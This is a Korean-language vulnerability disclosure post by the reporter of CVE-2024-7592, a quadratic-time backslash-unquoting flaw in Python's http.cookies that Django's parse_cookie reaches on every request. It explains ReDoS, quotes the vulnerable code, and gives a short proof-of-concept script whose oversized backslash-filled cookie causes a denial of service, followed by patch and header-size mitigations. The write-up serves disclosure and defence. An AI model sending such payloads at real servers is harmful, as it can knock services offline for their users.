Django 사용자들이 무조건 Python 버전 업데이트를 해야하는 이유

Django 사용자들이 무조건 Python 버전 업데이트를 해야하는 이유
Yongsan-gu, Seoul

안녕하세요. 윤석찬입니다. 최근 제가 Python Project에 제보한 취약점이 공개되었습니다.

CVSS 3.x 기준 Serverity는 10점 만점 중 7.5점으로 심각도는 '높음'으로 평가되었고, 해당 취약점을 악용하면 인터넷에 노출된 모든 Django 서버에 DoS를 유발시킬 수 있었습니다.

본 글에서는 파이썬의 표준 라이브러리 중 하나인 http.cookies 모듈의 _unquote() 메소드에서 발견된 서비스 거부(DoS) 취약점과 이 취약점이 Django 프레임워크의 parse_cookie() 함수에 미치는 영향을 자세히 설명하도록 하겠습니다. 취약점 분류 코드 CVE-2024-7592로 등록된 이 취약점은 악의적으로 조작된 쿠키 값을 통해 애플리케이션 성능을 심각하게 마비시킬 수 있는 문제를 지적하고 있습니다.

Python에서의 Regex 성능과 ReDoS 취약점

정규 표현식은 텍스트 처리에 널리 사용되는 강력한 도구입니다. 하지만 정규 표현식의 복잡도가 증가할수록 파싱과 일치를 찾는 데 필요한 계산 복잡도가 기하급수적으로 증가할 수 있다는 점을 명심해야 합니다.

Python의 re 모듈은 백트래킹 기반의 비결정적 유한 오토마타(NFA, non-deterministic automata)를 사용하여 정규 표현식을 처리합니다. 이 방식은 역참조나 전방/후방 탐색과 같은 복잡한 정규 표현식 기능을 사용할 수 있도록 하지만, 특정 입력 패턴에 대해 시간 복잡도가 지수적으로 증가할 수 있습니다.

예를 들어, (a+)+b와 같은 정규표현식 문자열이 존재한다고 가정해보겠습니다. 이 regex 문자열은  aaaaaaaaaaaaaaaaX와 같은 입력을 처리할 때, 정규식 엔진은 모든 가능한 a의 조합을 시도하며 백트래킹합니다. 이 과정에서 시간 복잡도는 O(2^n)까지 증가할 수 있습니다 (n은 입력 문자열의 길이입니다). 이는 DoS 공격으로 이어질 수 있으며, 정규표현식의 이러한 특성을 악용한 공격을 ReDoS 공격이라고 합니다.

정규표현식의 시간 복잡도

정규 표현식의 시간 복잡도는 사용하는 패턴에 따라 다르게 나타납니다. 간단한 패턴은 대체로 선형 시간 (linear time) 내에 처리가 가능하지만, 중첩 그룹이나 특정 연산자(+, * 등)를 사용할 경우 처리가 2차 또는 3차 다항 시간(2nd or 3rd polynomial time)이나 지수함수적으로 증가할 수 있습니다(Exponential time).

import re

# 복잡한 정규 표현식 예시
complex_regex = re.compile("(a+)+$")
def check_complex_string(s):
    return complex_regex.match(s)

# 성능 문제를 일으키는 입력
problematic_input = "aaaaaaaaaaaaaaaaaaaaax"
check_complex_string(problematic_input)  # 이 입력은 백트래킹으로 인해 시간 복잡도가 급증합니다.

올해 Python, Django, Ruby, Ruby on Rails, Apache Airflow 팀에 모두 정규표현식 DoS 관련 보안 이슈를 제보해온 제 경험으로 미루어보아, 대부분의 오픈소스 관리자들은 문자열 길이의 증가로 인한 처리시간이 비선형적으로 증가하는 경우를 ReDoS에 취약하다고 판단하는 것 같습니다.

CVE-2024-7592 분석

CVE-2024-7592는 _unquote() 함수 내에서 발견된 취약점으로, 정규표현식으로 구현된 비효율적인 백슬래시 이스케이프 문자 처리에서 비롯됩니다.

# http/cookies.py
_OctalPatt = re.compile(r"\\[0-3][0-7][0-7]")
_QuotePatt = re.compile(r"[\\].")
def _unquote(str):
    # ... (code omitted for brevity)
    while 0 <= i < n:
        o_match = _OctalPatt.search(str, i)
        q_match = _QuotePatt.search(str, i)
        
        # ... (further processing)
        
        if q_match and (not o_match or k < j):     # QuotePatt matched
            res.append(str[i:k])
            res.append(str[k+1])
            i = k + 2
        # ...

해당 코드에서는 불필요한 선형 검색이 n번 반복되고, 이에 최악의 경우 quadratic complexity가 발생해 ReDoS에 취약함을 알 수 있습니다. main 브랜치에서 패치되기 전의 _unquote() 함수 구현은 아래 링크에서 확인하실 수 있습니다.

cpython/Lib/http/cookies.py at d60b97a833fd3284f2ee249d32c97fc359d83486 · python/cpython
The Python programming language. Contribute to python/cpython development by creating an account on GitHub.

해당 문제를 제기하기 위해 제가 등록한 이슈입니다.

CVE-2024-7592: Denial of Service Vulnerability in `http.cookies._unquote()` · Issue #123067 · python/cpython
Bug report Bug description: Description A potential Denial of Service (DoS) vulnerability, identified as CVE-2024-7592, has been discovered in the _unquote() method of the http.cookies module in Py...

Django에서의 영향

CVE-2024-7592의 발견은 Django 프레임워크에도 상당한 영향을 미칠 수 있었습니다. 특히, Django의 parse_cookie() 함수에서 발견된 이 취약점은 조작된 쿠키 값을 처리할 때, _unquote() 메소드를 통해 백슬래시 처리를 수행하는 과정에서 성능 저하를 일으킬 수 있습니다.

from http import cookies

def parse_cookie(cookie):
    """
    Return a dictionary parsed from a `Cookie:` header string.
    """
    cookiedict = {}
    for chunk in cookie.split(";"):
        if "=" in chunk:
            key, val = chunk.split("=", 1)
        else:
            # Assume an empty name per
            # https://bugzilla.mozilla.org/show_bug.cgi?id=169091
            key, val = "", chunk
        key, val = key.strip(), val.strip()
        if key or val:
            # unquote using Python's algorithm.
            cookiedict[key] = cookies._unquote(val) # CVE-2024-7592 affected
    return cookiedict
django/http/cookie.py

파급 효과

Django 프레임워크는 사용자의 HTTP 요청으로부터 쿠키를 파싱하는 과정에서 parse_cookie() 함수를 자동으로 호출합니다. 이 함수는 요청된 뷰에서 request.COOKIES 값에 명시적으로 접근하지 않아도 내부적으로 쿠키 정보를 저장하며, _unquote()를 사용하여 쿠키 값 내의 특수문자를 처리하고 저장합니다.

심지어 404 Not Found를 리턴하는 페이지에서도 parse_cookie() 함수를 자동으로 실행합니다. 따라서 Django 프레임워크로 어떤 코드를 작성했는지에 상관없이, Django 기반의 모든 웹 서비스는 해당 취약점의 영향을 받을 수 있습니다.

PoC

아래 코드로 취약점을 트리거 할 수 있습니다.

#!/usr/bin/env python3

"""
A potential DoS vulnerability in Django's parse_cookie function.
"""

import time
from django.http import parse_cookie


# MAX_LENGTH = 8000
MAX_LENGTH = 20000


def test(payload: str) -> None:
    print('[DEBUG] Payload Size : %d bytes' % len(payload))

    start_time = time.time()
    parse_cookie(payload)
    end_time = time.time()

    print('[DEBUG] Elapsed Time : %lf seconds' % (end_time - start_time))


if __name__ == '__main__'
    payload = 'a=' + '"' + '\\' * MAX_LENGTH + '"' + ';'

    test(payload)

제 환경에서는 8000 바이트 기준으로 약 0.15초의 시간 지연, 20000 바이트 기준으로 약 1.1초의 시간 지연이 관찰되었습니다.

이에 더해 이 취약점의 심각성을 보여드리기 위해, Django 서버가 CVE-2024-7592 취약점으로 인해 어떻게 Django 서버의 속도가 급격히 느려지고 DoS 조건이 발현되는지 보여주는 PoC를 만들어보았습니다.

0:00
/
4.5MB

Django 구동을 위해 PoC에서 사용된 uwsgi.ini 파일은 아래와 같습니다.

[uwsgi]
http = :8000
module = simpleblog.wsgi
master = true
processes = 2
buffer-size = 8192

Mitigation

Python 팀은 CVE-2024-7592를 해결하기 위해 새로운 패치를 발표했습니다. 이 패치는 _unquote() 함수에서 사용되는 정규 표현식의 성능을 최적화하고, 악의적인 입력에 대한 처리 방식을 개선하여 애플리케이션의 안정성을 높입니다.

gh-123067: Fix quadratic complexity in parsing ”-quoted cookie values… · python/cpython@44e4583
… with backslashes (GH-123075) This fixes CVE-2024-7592.

Django 프레임워크를 사용한다면 2024.09.06. 배포된 Python 3.12.6으로 업데이트하시길 바랍니다.

패치가 불가능한 경우

만약 시스템의 의존성 문제로 인해 즉시 Python을 업데이트할 수 없는 상황이라면, HTTP 요청 헤더의 크기를 제한하는 것으로도 충분히 DoS 공격을 방어할 수 있습니다. Apache, nginx, 또는 uWSGI 같은 프록시 서버를 활용하여 HTTP 헤더 사이즈를 제한할 수 있는데, 이 서버들은 기본적으로 각각 8KB(Apache), 4KB(nginx, uWSGI)의 제한을 두고 있습니다. 이런 설정은 대부분의 비정상적인 트래픽을 차단하여 서버 리소스를 보호하고, 심각한 서비스 중단을 방지할 수 있습니다.

다만, 8KB 기준으로도 기존 microseconds 단위에서 해결이 가능한 쿠키 파싱 프로세스에서 몇 백배의 시간 지연이 발생할 수 있기 때문에 패치가 필수적이라고 보여집니다.


ch4n3-yoon - Overview
Web Security Reseacher / Majoring in computer engineering at Kyung Hee Univ. / Interested in *PWN* - ch4n3-yoon